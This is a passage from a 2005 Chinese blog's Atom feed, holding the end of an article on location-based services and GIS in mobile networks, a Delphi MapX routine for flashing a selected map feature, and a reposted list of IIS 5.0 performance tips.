对于一些需要快速连续定位的LBS业务来说(例如实时动态汽车导航)，可能要求每隔几秒钟刷新终端位置信息。在这种情况下，AGPS方式就很难满足时间上的要求。因此，为了提高连续定位情况下的定位间隔时间，提出了基于移动台的GPS定位。与AGPS不同的是，基于移动台定位方式下，位置的计算全部由终端自己完成，终端始终处于GPS跟踪状态，减少了与网络的交互时间。但是初次定位时间(TTFF)基本上与AGPS方式下的相同，与AGPS一样，需要从网络侧获取GPS卫星的信息。<BR><BR>　　四、GIS系统<BR><BR>　　LBS服务中关键的核心是位置与地理信息，两者相辅相成，缺一不可。一个经纬度位置对于正常的使用来说，并不代表任何意义，必须将其置于一个地理信息中来，才能代表为某个地点、标志、方位等，才能被人们所理解。因此，除了通过定位操作平台获取到终端的位置之外，必须通过GIS系统将经纬度转换成用户真正关心的地理信息，如地图、路径搜索结果等。<BR><BR>　　对于无线运营商而言，如何发展面向最终用户的SP是任何增值服务发展的关键。而对于广大的SP而言，对于涉及位置信息服务的关键技术——地理信息系统(GIS)不太了解。单从技术上来说，SP独立提供位置信息服务的难度就很大。因为需要考虑如何和无线运营商的各种厂商的定位网关接口，考虑采用什么样的地理信息系统，考虑采用什么样的地图数据库，考虑如何去维护地图数据库，考虑如何开发，考虑如何推动市场的发展使得更多的用户加入他们的运营网络等。对于以上考虑来说，每个CP需要投入相当一大笔费用去建设一个提供地理信息服务的平台，并且不断地对地理信息数据进行维护。<BR><BR>　　在这种情况下，非常不利于移动位置信息服务的推广，也不利于移动互联网的增值业务的发展。因此，SP在整个增值业务的价值链上的主要任务是加入自己有特色的服务，做市场推动，发展尽可能多的最终用户。<BR><BR>　　对于无线运营商仅有一个定位操作平台是远远不够的，它必须要将位置信息服务中的核心部件——地理信息服务平台建设起来。让CP减少投入，专注于自己的服务。<BR><BR>　　位置信息服务中的地理信息服务平台是一个关键部件。从无线运营商管理和开通位置信息服务的角度来看，能够使得无线运营商提供较为全面的位置信息服务，同时也集中地管理并维护了地图数据库，使得各个想要进入位置信息服务行业的CP门槛大大降低，从而促使位置信息服务的发展。<BR><BR>1　地理信息系统的发展<BR><BR>　　地理信息目前已经渗透到各行各业的信息系统中。从需求角度看，无论是宏观上的决策支持，综合经营分析，还是具体业务层面的一个目标的定位、一条线路的规划，都离不开地理信息的支持。从技术角度看，随着计算机信息技术的发展，尤其是近年来移动计算领域和空间数据库领域技术的不断更新，地理信息技术(GIS)也在很多方面融入了新的特征。<BR><BR>　　在我国，地理信息系统的建设也越来越得到政府的重视，尤其是在一些特殊情况下，如类似“非典”的情况，对于一些受关注人群和移动物品的跟踪，以及与地理位置相关的分析和研究，它对政府应对突发事件是非常重要的。<BR><BR>2　技术的发展<BR><BR>　　(1)从GIS到Web-GIS。早期的地理信息系统专业性色彩较强，需要引入复杂的数学模型，对最终使用者的要求较高，系统独立设计，不对外开放接口。这类系统比较常见于地质、气象、水利、交通等行业的专业分析。在这种需求的驱动下，按照Client/Server模式设计的应用系统居多，其最大的优点是开发模型相对简单，开发成本较低。但随着这些C/S模式的信息系统的不断投入使用，其缺点也逐渐暴露出来。C/S模式下的应用系统由于其专业性使得只有少量的专业用户可以使用，导致大量信息孤岛的存在。而且其大规模部署及后期维护的成本相当高昂，这就使得应用系统的用户数量和覆盖范围都受到很大的局限，在一定程度上已经严重制约了地理信息系统的继续发展。而另一方面，由于多数系统采用了独立的设计，不同系统之间无法共享数据和功能，功能类似的模块被重复建设的问题也越来越突出，造成投资的极大浪费。<BR><BR>　　近年来，地理信息系统的建设要求能够满足更多非专业用户的需求。随着Internet的逐渐普及，广大用户对浏览器这种通用类型、无须培训的客户端应用程序越来越认同，因此奠定了Web-GIS发展的基础。另外，在技术层面上，用户要求地理信息系统采用开放式设计，对其他信息系统开放可调用的接口以便集成。只有这样地理信息系统的应用面才有可能从有限的传统应用领域扩展开来，同时覆盖更多的用户群。与Client/Server模式相比，Browser/Server模式在处理这些问题上有明显的技术优势。因此在一些特定的领域，B/S模式已经取代了C/S模式而成为了地理信息系统的首选开发模式。<BR><BR>　　(2)从Web-GIS到网络地理信息系统。进入21世纪，人们已经不再满足于坐在办公室或家中的电脑桌前获得信息，而是提出了“随时随地获取信息”(Anytime，Any-where，Anything)的更高要求。强烈的需求推动了移动计算领域技术的飞速发展，信息系统的客户端从传统的PC，工作站等桌面型设备扩展到了PDA，WAP/SMS/kJava/Brew手机等移动终端上。由于所有的移动终端首先强调的是易于携带的特征，在硬件设计上受到体积、重量、功耗等方面的限制，因而采用了完全不同于PC的操作系统和不同于IP网络的通信协议。另一方面，地理信息系统的底层开始与数据库技术相结合而发展为空间数据库。空间数据库技术在管理海量数据、分布式数据存储、解决属性与空间数据一致性等问题上比传统的文件存储方式有很大的优势，因而越来越受到大家的关注。<BR><BR>　　近年来，一些新建的地理信息系统开始逐渐引入这两方面的技术。这些系统要求应用层满足对各类终端设备的兼容，数据层提供对异构或分布数据的良好支持，我们把包括这些类型在内的所有基于网络的地理信息系统通称为网络地理信息系统。<BR><BR>　　由于网络地理信息系统的复杂性已经远远超出了传统的C/S或B/S体系结构所能描述的范畴，开发工作量也变得越来越庞大，所以需要找到一种有别于C/S或B/S的多层模型来描述这些系统的共性。同时，在此基础上提供产品级的解决方案，尽可能地为应用开发人员提供良好的底层支持，以减少开发系统的难度，提高系统的质量。<BR><BR>　　从GIS到Web-GIS，再到网络地理信息系统，应用上是从传统领域向所有领域的发展，用户群上是从少数专业用户向大量普通用户的发展，技术上是从简单架构向多层模型的发展。<BR><BR>3　应用领域<BR><BR>　　GIS的应用领域非常广泛，以下给出了一些比较典型的实例。<BR><BR>　　(1)数字城市。以GIS为核心的空间信息技术是数字城市的核心应用技术，它与无线通信、宽带网络和无线网络日趋融合在一起，为城市生活和商务提供了一种立体的，多层面的信息服务体系。<BR><BR>　　数字城市建设包括4部分内容，即基础设施、电子政务、电子商务及公众信息服务。而GIS应用贯穿上述4个部分和各个层面，从城市基础地理信息数据库到政府空间数据共享、电子商务物流配送以及基于网络的公众地理信息服务，GIS都发挥着不可缺少的作用。<BR><BR>　　从具体的应用来说，GIS已经广泛应用于构成数字城市的众多行业，如城市规划、城市地下管网、电力、电信、公安、消防、急救等方面。GIS在各行各业中的广泛应用，产生了各具特色的行业专题GIS，这电正是我们建设数字城市的基础。数字城市只能是在这些专题GIS的基础上，进行综合、共享和扩充。<BR><BR>　　(2)LBS。通过LBS业务，移动用户可以方便地获知自己目前所处的位置，并用终端查询或收取附近各种场所的信息。同时，它还可以对特定用户或组织进行定位，根据用户的位置进行实时监测、跟踪，结合共享的电子地图，实现监控与调度。LBS业务和目前在国际上比较受关注的Telematics和ITS有着非常密切的关系，由于篇幅有限，就不再描述了。<BR><BR>　　(3)行业应用<BR><BR>　　·油田。石油行业应用GIS技术由来已久。在选择钻孔位置，跟踪一条管线进行故障分析，或者新建一个炼油厂等方面都十分依赖于对地理的理解以作出明智的商业决策。GIS在石油行业的应用非常广泛，根据应用类别以及业务范围，GIS的应用大致可以归纳为石油勘探、生产开发、设备管理、管道管理、运输管理、销售规划、地面建设、附属设施等几个方面。<BR><BR>　　·电信。GIS为电信业者提供了将地图和其他数据综合分析的能力。通过对基于空间位置的数据进行分析，为电信网络的规划和施工、移动信号的覆盖区域分析、市场经营决策分析、管理当前用户信息，甚至于发现新用户等提供最佳的方案。通过地图方式展示数据将比传统的列表方式更直观、并能更迅速地作出决策。<BR><BR>　　·公安。公安现代化建设需要地理信息系统(GIS)以及计算机网络技术的支持。GIS技术在公安方面的应用很多，例如消防指挥系统、安防指挥管理系统、110指挥管理系统、户籍管理系统、公安交通指挥系统、紧急情况下公安指挥管理系统、安全保卫系统、治安情况汇报系统等。<BR>　　·水利。GIS在水利上的应用已经扩展到了水资源、水环境、水土保持、农田水利、水利工程规划与管理等许多方面，具有广泛的生长点和良好的成长性，为我国的水利建设发挥了重大作用。<BR><BR>　　·交通。GIS在交通方面可以应用于公路规划设计及管理、运输调度、公共交通管理、铁路规划设计及管理、港口和水运管理、智能交通系统(ITS)等。<BR><BR>4　GIS系统在3G网络中的业务功能<BR><BR>　　在移动网络中使用GIS，可以向外提供的主要服务具体如下：<BR><BR>　　(1)地图绘制(Mapping)<BR><BR>　　地图绘制是GIS系统提供的最基本的功能。GIS系统根据客户端的请求(地图范围、图层和绘制样式等)，返回地图数据。地图数据可以是栅格形式的地图，也可以是特定格式的矢量数据。地图栅格化定义多种图片格式输出支持，例如GIF，JPEG，PNG，WMP，BMP等。地图图片可以通过BASE-64编码文档的方式在XML文档里返回，也可以只返回URL。“地图绘制”还可以在“原始”的地图上“绘制”各种几何元素或地理对象。<BR>　　矢量地图与栅格地图相比，具有较大的优势。首先，同样一幅地图，矢量格式的文件是栅格格式文件大小的1/7左右，大大节约了无线网络中使用的资源。同时，终端通过矢量地图浏览器操作矢量地图的灵活度与栅格地图相比很高，地图多比例尺的放大、缩小等在终端本地即可完成，而且在导航应用方面也具有优势。但由于矢量地图数据格式目前各个厂家不统一，因此如果在网络中存在多个GIS系统时，就不得不考虑兼容的问题。由于终端的能力有限，因此目前还没有一个较好的解决办法。另一方面，向外发布矢量地图还需要考虑地图的安全性和加密问题。<BR><BR>　　(2)目录服务(Directory)<BR><BR>　　主要是指POI(兴趣点)的查找，包括距离最近查找、一定范围内查找和根据属性(如名称、电话号码等)查找。查找的内容可以包括商场、酒店、加油站等。<BR><BR>　　(3)路径搜索(Route)<BR><BR>　　主要提供两点之间的各种方式(自驾车、公交车、步行)的行驶路线。路径搜索服务是LBS业务中非常重要的一种服务，也是体现移动网络优势和特点的业务，是实现导航服务的基础。<BR><BR>　　路径搜索服务对地图数据的要求较高，如要地图数据提供商提供完全和准确的路网数据，包括各种规则，如单行、禁左、车道数量等。路径搜索服务可以支持如下的操作：<BR><BR>　　·全路径：依据请求指定的信息(自驾车、步行、公交车方式，最短、最快以及不走高速公路，途经多点等等方式)返回整个路径的信息。<BR><BR>　　·途经多点方式：依据请求指定的点序列(缺省的情况下首末点为起止点)，搜索经过所有指定点的路径。<BR><BR>　　·排除条件：基于不同的道路类型、地域类型，可以指定是否走高速公路、城区，还可以指定不走的道路。<BR><BR>　　·时间与距离信息：服务将返回多个基于起点、终点和分段路线的时间和距离计算结果。<BR><BR>　　(4)地理编码(GeoCode)，把一个街道地址或邮编编码成一个地理位置。<BR><BR>　　(5)逆地理编码(Reverse Geocode)，把一个地理位置反编码成一个街道地址或邮编。<BR><BR>　　(6)测算(Cogo)，进行几何要素的测算。目前，该服务支持的操作包括计算两点之间的直线距离，判定点是否在某个指定的区域内。测算服务可以通过一次请求完成多个测算操作。<BR><BR>　　(7)导航(Navigation)。导航服务也可以看作是路径搜索服务中的一种，但由于导航服务有其自身的特点，因此在OGC(Open GIS Consortium)制订的位置业务规范中将其独立出来。导航服务可以分成静态导航和动态导航。<BR><BR>　　·静态导航是指用户在出发前获取出发地和目的地的最佳路径信息，出发后不再有提示信息给用户；<BR><BR>　　·动态导航则是用户在行驶过程中由GIS系统(网络侧或用户本地)根据当前用户所在位置动态的提示用户前进的方向(如提前通知用户左转，地图上动态显示当前用户所在位置，以及与目的地在行驶路线上的距离等)，这种服务对系统的处理能力、定位的准确度、定位的时延和地图的准确度等要求较高。<BR><BR>　　五、LBS业务的相关标准化工作<BR><BR>　　前面已经提到，LBS业务实现可以分成两个层面，即位置的获取和信息的提供。相应地，标准化工作也对应不同的标准组织。<BR><BR>　　(1)对于位置的获取也就是定位技术的标准，目前主要在3GPP和3GPP2中进行标准化工作。相关的用户在业务层面的认证授权、业务漫游以及隐私管理等内容的标准工作，目前主要是在OMA中进行，但由于3GPP和3GPP2在OMA中对LBS的流程、网络结构等方面存在分歧，所以标准化的进度可能会放慢。同时，也应注意到，在3GPP2中实际上也在做与OMA相同的工作。<BR><BR>　　(2)对于地理信息提供层面上的标准工作，目前主要由OGC负责制订，并且已经基本完成了除导航服务之外的其他业务。<BR><BR>　　在我国，目前已经完成了Le/L1接口(客户端与定位服务器之间的接口)的行业标准，以及WCDMA和cdma2000系统中的定位技术行业标准。与GIS相关的标准，目前也有了的GIS接口，SPACCESS接口的企业标准。对应于OMA的基于IP层面的定位技术标准也将要启动。<BR><BR>　　六、LBS业务在我国的应用<BR><BR>1　应用前景<BR><BR>　　LBS业务是移动网络的一个特色业务，尤其是随着今后3G系统的使用，为LBS的应用提供了网络带宽的保障。由于LBS业务在我国也刚刚开始发展，影响其发展的因素也非常多，因此本文也只是就目前可以遇到的有发展潜力的LBS业务作一个简单的分析。<BR><BR>　　(1)手持终端的LBS应用<BR><BR>　　手持终端的LBS应用范围很广，可以基于话音，短信，WAP，Java/BREW和多媒体短信/邮件向大众用户提供各种服务，包括信息查询、地图服务、手持终端的导航、弱势群体的跟踪和区域告警(如老人和儿童)等。<BR><BR>　　(2)个人汽车的LBS应用<BR><BR>　　导航是LBS应用在汽车中的主要方式，目前我国已经有汽车导航的实际应用，这种应用是GPS接收机+简化版的GIS引擎+地图数据的模式，这种模式有其自身的局限性，如成本较高(对车载台的要求较高，如处理能力、存储能力)，地图资源不能共享(如需要存储大量的地图数据，对于驾车者偶尔经过的地区也需要存储)，不能做到动态的地图更新，业务组织灵活性也受限。而这些问题通过与移动网络结合可以解决。随着汽车市场的不断增加，汽车导航业务是需要移动运营商关注的一个业务增长点，可以结合运营商目前已经有的话音、短信等业务，向用户提供更丰富多样的LBS业务，如汽车防盗、跟踪、求救等。<BR><BR>　　LBS业务和目前在国际上比较受关注的Telematics有着非常密切的关系，Telematics的目的是构建一个车内的通信平台通过与网络的交互，为驾驶者和乘坐者提供各种服务。韩国在这方面比较积极，目前已经有类似的应用，主要是提供汽车导航、邮件服务。<BR><BR>　　(3)行业应用<BR><BR>　　行业应用的范例很多，包括汽车调度(如出租车的调度)、物流管理、员工的跟踪(如邮递员的跟踪)等，这里不再一一描述。<BR><BR>2　实现LBS业务面临的问题<BR><BR>　　LBS业务具有广阔的应用市场，但与其他基于移动网络的增值业务相比，其业务实现涉及的方面更多，难度更大，因此LBS业务要真正达到广泛应用，还面临一些问题需要解决。<BR><BR>　　(1)定位的精度<BR><BR>　　目前，LBS应用所能用到的精度最高的定位技术是GPS定位技术，但GPS定位存在局限性，如在深度室内环境下将无法进行GPS定位。如果采用基于网络的定位，精度则大大降低，目前还没有其他更好的解决方案。因此，比较实际可行的作法是，对业务进行划分，将各种不同业务对定位精度的要求进行分类。对于精度要求高的业务，由网络侧判断是否能够满足要求，并进行相应的处理。当然，最终的解决方案是能提出一种更先进和受地理环境限制小的定位技术，目前已经开始研究在室内实现高精度定位的技术。<BR><BR>　　(2)位置信息的收集和组织<BR><BR>　　LBS最终向用户提供与位置有关的内容，位置信息主要包括各个层面电子地图和POI信息。在电子地图方面，我国的各个部门都有某些层面的数据，但这些数据没有整合在一起，地图的现势性在各个地域也参差不齐，这一问题的解决不是运营商和地图数据提供商单方所能够办到的，需要国家统一进行组织，将各种地理信息资源整合在一起，为各个行业使用。对于POI信息，其丰富程度直接影响着用户对业务的满意度，因此需要内容提供商提供丰富的POI信息。但信息搜集的工作量是相当大的，需要实地去一一采集。因此，需要运营商将各种CP提供的POI信息进行整合，统一提供给用户，这部分工作需要运营商和各个内容提供商协调统一来做。<BR><BR>　　(3)矢量地图浏览器<BR><BR>　　导航业务，尤其是实时导航业务，如果通过网络来实现地图的实时下载，那么数据不能太大，否则用户使用的成本会很高，不利于推广。矢量地图是解决这一问题的方案，但矢量地图与各个GIS厂商系统内容矢量数据的格式密切相关，目前无法统一成相同的格式。因此，如果存在多种GIS系统共存时，业务的覆盖范围将存在局限性，这可以通过终端支持多个矢量地图浏览器来解决，但对终端的处理能力和存储能力要求较高。因此，这一问题也是值得注意的。<BR></P>
<P>[img]http://www.c114.net/technic/adm_news/images_upload/2005349552167290.jpg[/img]</P>
<CENTER>矢量地图服务的工作方式示意图 </CENTER>
<P><BR><BR>　　七、结束语<BR><BR>　　LBS业务具有广阔的发展前景，目前商用的LBS业争也达到了相当程度的渗透率。LBS业务涉及的领域很多，需要移动通信领域与GIS领域相结合来共同实现。我国目前很重视GIS领域的发展，国内已经有相当多具有一定实力和发展潜力的GIS厂商。相信随着今后LBS业务需求的不断增长，以及我国GIS领域的不断发展完善，LBS业务将得到更广泛的应用。<IMG onmousewheel="return bbimg(this)" onclick=ImgClick(this) height=1 src="http://www.c114.net/technic/Counters_read_s.asp?ID=9173" width=1 resized="0"><BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=64" /> 
	  <id>http://www.openx.cn/default.asp?id=64</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[DELPHI里面的闪烁]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-08T15:40:54+08:00</updated>
	  <published>2005-10-08T15:40:54+08:00</published>
		  <summary type="html"><![CDATA[procedure&nbsp;TMapFrm.tmFlashSelectTimer(Sender:&nbsp;TObject);&nbsp;<BR>var&nbsp;ft:&nbsp;CMapXFindFeature;&nbsp;<BR>lyr:&nbsp;CMapXLayer;<BR>&nbsp;bExist:&nbsp;Boolean;&nbsp;<BR>i:&nbsp;Integer;&nbsp;<BR>str:&nbsp;String;<BR>&nbsp;ds:&nbsp;CMapXDataset;&nbsp;<BR>begin&nbsp;bExist&nbsp;:=&nbsp;False;<BR>&nbsp;for&nbsp;i&nbsp;:=&nbsp;1&nbsp;to&nbsp;mapCity.Layers.Count&nbsp;<BR>&nbsp;&nbsp;&nbsp;do&nbsp;begin&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;mapCity.Layers.Item[i].Name&nbsp;=&nbsp;m_strSelLyr&nbsp;then&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin&nbsp;bExist&nbsp;:=&nbsp;True;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;not&nbsp;bExist&nbsp;then&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin&nbsp;tmFlashSelect.Enabled&nbsp;:=&nbsp;False;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgFrm&nbsp;:=&nbsp;TMsgFrm.Create(Self);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgFrm.m_strMsg&nbsp;:=&nbsp;format('图层[%s]信息不存在!',[m_strSelLyr]);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgFrm.ShowModal;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgFrm.Free;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;lyr&nbsp;:=&nbsp;mapCity.Layers._Item(m_strSelLyr);<BR>&nbsp;ds&nbsp;:=&nbsp;mapCity.Datasets.Add(miDataSetLayer,&nbsp;lyr&nbsp;,EmptyParam,&nbsp;EmptyParam,&nbsp;EmptyParam,&nbsp;EmptyParam,&nbsp;EmptyParam,&nbsp;EmptyParam);&nbsp;<BR>lyr.Find.FindDataset&nbsp;:=&nbsp;ds;&nbsp;<BR>lyr.Find.FindField&nbsp;:=&nbsp;ds.Fields.Item[1];<BR>&nbsp;str&nbsp;:=&nbsp;format('%d',[m_nSelID]);&nbsp;<BR>ft&nbsp;:=&nbsp;lyr.Find.Search(str,EmptyParam);<BR>&nbsp;if&nbsp;ft.FindRC&nbsp;mod&nbsp;10&nbsp;&lt;&gt;&nbsp;1&nbsp;then&nbsp;<BR>begin&nbsp;tmFlashSelect.Enabled&nbsp;:=&nbsp;False;<BR>&nbsp;MsgFrm&nbsp;:=&nbsp;TMsgFrm.Create(Self);&nbsp;MsgFrm.m_strMsg&nbsp;:=&nbsp;format('单位点[%s]信息不存在!',[m_strCorpName]);<BR>&nbsp;MsgFrm.ShowModal;<BR>&nbsp;MsgFrm.Free;<BR>&nbsp;Exit;&nbsp;<BR>end;&nbsp;<BR>case&nbsp;ft.type_&nbsp;of&nbsp;miFeatureTypeLine:<BR>&nbsp;begin&nbsp;<BR>if&nbsp;ft.Style.LineColor&nbsp;=&nbsp;miColorWhite&nbsp;then&nbsp;<BR>ft.Style.LineColor&nbsp;:=&nbsp;miColorRed<BR>&nbsp;else&nbsp;<BR>ft.Style.LineColor&nbsp;:=&nbsp;miColorWhite;<BR>&nbsp;end;&nbsp;<BR>miFeatureTypeRegion:&nbsp;<BR>begin&nbsp;<BR>if&nbsp;ft.Style.RegionColor&nbsp;=&nbsp;miColorGreen&nbsp;then<BR>&nbsp;ft.Style.RegionColor&nbsp;:=&nbsp;miColorRed&nbsp;<BR>else<BR>&nbsp;ft.Style.RegionColor&nbsp;:=&nbsp;miColorGreen;<BR>&nbsp;end;&nbsp;<BR>miFeatureTypeSymbol:&nbsp;begin&nbsp;if&nbsp;not&nbsp;m_bFlashSel&nbsp;then&nbsp;<BR>lyr.Selection.Replace(ft)<BR>&nbsp;else&nbsp;<BR>lyr.Selection.ClearSelection;<BR>&nbsp;m_bFlashSel&nbsp;:=&nbsp;not&nbsp;m_bFlashSel;<BR>&nbsp;end;<BR>end;&nbsp;<BR>ft.Update(EmptyParam,&nbsp;EmptyParam);&nbsp;<BR>if&nbsp;not&nbsp;m_bCenter&nbsp;then&nbsp;begin&nbsp;m_bCenter&nbsp;:=&nbsp;True;&nbsp;<BR>mapCity.CenterX&nbsp;:=&nbsp;ft.CenterX;&nbsp;<BR>mapCity.CenterY&nbsp;:=&nbsp;ft.CenterY;&nbsp;<BR>mapCity.Refresh;<BR>&nbsp;end;<BR>&nbsp;end;]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=63" /> 
	  <id>http://www.openx.cn/default.asp?id=63</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[提高IIS网站服务器效率八法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-30T17:39:36+08:00</updated>
	  <published>2005-09-30T17:39:36+08:00</published>
		  <summary type="html"><![CDATA[<P>　　以下是提高IIS 5.0网站服务器的执行效率的八种方法： <BR><BR>　　1. 启用HTTP的持续作用可以改善15~20%的执行效率。 <BR>　　2. 不启用记录可以改善5~8%的执行效率。 <BR>　　3. 使用 [独立] 的处理程序会损失20%的执行效率。 <BR>　　4. 增加快取记忆体 <BR>　　的保存文档数量，可提高ActiveServer Pages之效能。 <BR>　　5. 勿使用CGI程式 <BR>　　6. 增加IIS 5.0电脑CPU数量。 <BR>　　7. 勿启用ASP侦错功能。 <BR>　　8. 静态网页采用HTTP 压缩，大约可以减少20%的传输量。 <BR><BR>　　简单介绍如下 <BR><BR>　　<STRONG>1、启用HTTP的持续作用</STRONG> <BR><BR>　　启用HTTP的持续作用（Keep-Alive）时，IIS与浏览器的连线不会断线，可以改善执行效率，直到浏览器关闭时连线才会断线。因为维持「Keep-Alive」状态时，于每次用户端请求时都不须重新建立一个新的连接，所以将改善服务器的效率。 <BR><BR>　　此功能为HTTP 1.1预设的功能，HTTP 1.0加上Keep-Alive header也可以提供HTTP的持续作用功能。 <BR><BR>　　<STRONG>2、启用HTTP的持续作用可以改善15~20%的执行效率</STRONG>。 <BR><BR>　　如何启用HTTP的持续作用呢？步骤如下： <BR>　　在 [Internet服务管理员] 中，选取整个IIS电脑、或Web站台，於 [内容] 之 [主目录] 页，勾选 [HTTP的持续作用] 选项。 <BR><BR>　　<STRONG>3、不启用记录 <BR></STRONG><BR>　　不启用记录可以改善5~8%的执行效率。 <BR><BR>　　如何设定不启用记录呢？步骤如下： <BR><BR>　　在 [Internet服务管理员] 中，选取整个IIS电脑、或Web站台，於 [内容] 之 [主目录] 页，不勾选 [启用记录] 选项。 <BR><BR>　　设定非独立的处理程序 <BR><BR>　　使用 [独立] 的处理程序会损失20%的执行效率，此处所谓「独立」系指将 [主目录]、[虚拟目录] 页之应用程式保护选项设定为 [高（独立的）] 时。因此 [应用程式保护] 设定为 [低 (IIS处理程序)]时执行效率较高。 <BR><BR>　　如何设定非「独立」的处理程序呢？步骤如下： <BR><BR>　　在 [Internet服务管理员] 中，选取整个IIS电脑、Web站台、或应用程式的起始目录。於 [内容] 之 [主目录]、[虚拟目录]页，设定应用程式保护选项为 [低 (IIS处理程序)]。 <BR><BR>　　<STRONG>4、调整快取（Cache）记忆体</STRONG> <BR><BR>　　IIS 5.0将静态的网页资料暂存於快取（Cache）记忆体当中；IIS 4.0则将静态的网页资料暂存於档案当中。调整快取（Cache）记忆体的保存档案数量可以改善执行效率。 <BR><BR>　　ASP指令文档执行过後，会在暂存於快取（Cache）记忆体中以提高执行效能。增加快取记忆体的保存文档数量，可提高Active Server Pages之效能。 <BR><BR>　　可以设定所有在整个IIS电脑、「独立」Web站台、或「独立」应用程式上执行之应用程式的快取记忆体档案数量。 <BR><BR>　　如何设定快取（Cache）功能呢？步骤如下： <BR><BR>　　在 [Internet服务管理员] 中，选取整个IIS电脑、「独立」Web站台、或「独立」应用程式的起始目录。於 [内容] 之 [主目录]、[虚拟目录] 页，按下 [设定] 按钮时，即可由[处理程序选项] 页设定 [指令档快取记忆体] 。 <BR><BR>　　如何设定快取（Cache）记忆体档案数量呢？步骤如下： <BR><BR>　　在 [Internet服务管理员] 中，选取整个IIS电脑、或Web站台的起始目录。於 [内容] 之 [伺服器扩充程式] 页，按下 [设定] 按钮。 <BR><BR>　　即可设定快取（Cache）记忆体档案数量。 <BR><BR>　　<STRONG>5、勿使用CGI程式</STRONG> <BR><BR>　　使用CGI程式时，因为处理程序（Process）须不断地产生与摧毁，造成执行效率不佳。 <BR>　　一般而言，执行效率比较如下： <BR><BR>　　静态网页（Static）：100 <BR><BR>　　ISAPI：50 <BR><BR>　　ASP：10 <BR><BR>　　CGI：1 <BR><BR>　　换句话说，ASP比CGI可能快10倍，因此勿使用CGI程式可以改善IIS的执行效率。 <BR><BR>　　以弹性（Flexibility）而言：ASP &gt; CGI &gt; ISAPI &gt; 静态网页（Static）。 <BR><BR>　　以安全（Security）而言：ASP（独立） = ISAPI（独立）= CGI &gt; ASP（非独立） = ISAPI（非独立）= 静态网页（Static）。 <BR><BR>　　<STRONG>6、增加IIS 5.0电脑CPU数量</STRONG> <BR><BR>　　根据微软的测试报告，增加IIS4.0电脑CPU数量，执行效率并不会改善多少；但是增加IIS 5.0电脑CPU数量，执行效率会几乎成正比地提供，换句话说，两颗CPU的IIS 5.0电脑执行效率几乎是一颗CPU电脑的两倍，四颗CPU的IIS 5.0电脑执行效率几乎是一颗CPU电脑的四倍。 <BR><BR>　　IIS 5.0将静态的网页资料暂存於快取（Cache）记忆体当中；IIS 4.0则将静态的网页资料暂存於档案当中。调整快取（Cache）记忆体的保存档案数量可以改善执行效率。 <BR><BR>　　<STRONG>7、启用ASP侦错功能</STRONG> <BR><BR>　　勿启用ASP侦错功能可以改善执行效率。 <BR>　　如何勿启用ASP侦错功能呢？步骤如下： <BR><BR>　　於 [Internet服务管理员] 中，选取Web站台、或应用程式的起始目录，按右键选择[内容]，按 [主目录]、[虚拟目录] 或 [目录] 页，按下[设定] 按钮，选择 [应用程式侦错] 页，不勾选 [启用ASP伺服器端指令侦错]、[启用ASP用户端指令侦错] 选项。 <BR><BR>　　<STRONG>8、静态网页采用HTTP 压缩</STRONG> <BR><BR>　　静态网页采用HTTP 压缩，大约可以减少20%的传输量。 <BR>　　HTTP压缩功能启用或关闭，系针对整台IIS服务器来设定。 <BR>　　用户端使用IE 5.0浏览器连线到已经启用HTTP压缩IIS 5.0之Web服务器，才有HTTP压缩功能。 <BR>　　如何启用HTTP压缩功能呢？步骤如下： <BR><BR>　　若要启用HTTP压缩功能，方法为在 [Internet服务管理员] 中，选取电脑之 [内容]，於 [主要内容] 之下选取[WWW服务]。然後按一下 [编辑] 按钮，於 [服务] 页上，选取 [压缩静态档案] 可以压缩静态档案，不选取 [压缩应用程式档案] 。 <BR><BR>　　动态产生的内容档案（压缩应用程式档案）也可以压缩，但是须耗费额外CPU处理时间，若% Processor Time已经百分之八十或更多时，建议不要压缩。 <BR><BR>　　其次 我还要说一下,就是除掉一些不必要的服务。<BR clear=all></P>
<P>摘：天极网</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=62" /> 
	  <id>http://www.openx.cn/default.asp?id=62</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[TCP网络程序设计-完成端口之应用]]></title>
	  <author>
		 <name>cxty</name>
